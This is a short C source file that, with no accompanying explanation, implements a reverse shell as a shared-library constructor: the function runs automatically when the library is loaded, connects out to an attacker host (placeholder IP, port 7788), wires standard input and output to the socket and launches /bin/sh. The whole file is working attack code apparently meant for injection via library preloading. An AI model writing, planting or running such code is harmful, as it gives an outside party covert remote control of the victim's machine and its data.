#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<sys/socket.h>
#include<netinet/in.h>
#include<arpa/inet.h>


__attribute__((constructor)) static void reverse_shell(void)
{
    char *server_ip="xxx";
    uint32_t server_port=7788;
    int sock = socket(AF_INET, SOCK_STREAM, 0);
    struct sockaddr_in attacker_addr = {0};
    attacker_addr.sin_family = AF_INET;
    attacker_addr.sin_port = htons(server_port);
    attacker_addr.sin_addr.s_addr = inet_addr(server_ip);
    if(connect(sock, (struct sockaddr *)&attacker_addr,sizeof(attacker_addr))!=0)
        exit(0);
    dup2(sock, 0);
    dup2(sock, 1);
    dup2(sock, 2);
    char *args[] = {"/bin/sh", NULL};
    execve("/bin/sh", args, NULL);
}